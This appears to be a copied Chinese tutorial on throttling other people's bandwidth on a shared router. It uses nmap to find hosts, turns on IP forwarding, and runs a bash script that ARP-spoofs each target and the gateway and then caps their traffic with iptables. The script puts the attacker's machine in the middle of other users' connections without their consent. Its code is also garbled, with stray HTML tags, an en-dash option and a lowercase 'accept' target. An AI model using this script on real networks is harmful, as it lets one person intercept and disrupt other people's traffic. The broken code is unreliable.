为了限制无线路由器上大家的上网速度,减少p2p工具的影响
可以通过arp欺骗和iptables来限制局域网的上网速度
操作系统:Ubuntu
1)sudo apt-get install dsniff nmap
2)探测局域网主机的ip地址
复制代码代码如下:sudo nmap -ss 网关ip/24在此例中:192.168.1.100 为要限速的主机192.168.1.1 为网关地址3)打开 内核的 IP 转发,让我们的主机成为路由器复制代码
代码如下:
echo 1 > /proc/sys/net/ipv4/ip_forward
4)使用 iptables和arpspoof进行 限速! 脚本如下
使用方式:
sudo ./iptable.sh 要限的速度(30为40k/s) 网关ip 限速主机1 限速主机2
复制代码
代码如下:
#!/bin/bash
if [ $# -le 2 ]
then
echo “Usage: ./iptables.sh speed gateway ip1 ip2 ….”
exit -1
else
speed=$1
gateway=$2
fi
IPT=/sbin/iptables</p>
<p>while [ $# -gt 2 ]
do
shift
echo $gateway,$2
arpspoof -i eth0 -t $2 $gateway&
arpspoof -i eth0 -t $gateway $2&</p>
<p> $IPT -A FORWARD -s $2 -m limit –limit ${speed}/s -j accept</p>
<p> $IPT -A FORWARD -d $2 -m limit –limit ${speed}/s -j ACCEPT</p>
<p> $IPT -A FORWARD -s $2 -j DROP</p>
<p> $IPT -A FORWARD -d $2 -j DROP</p>
<p>done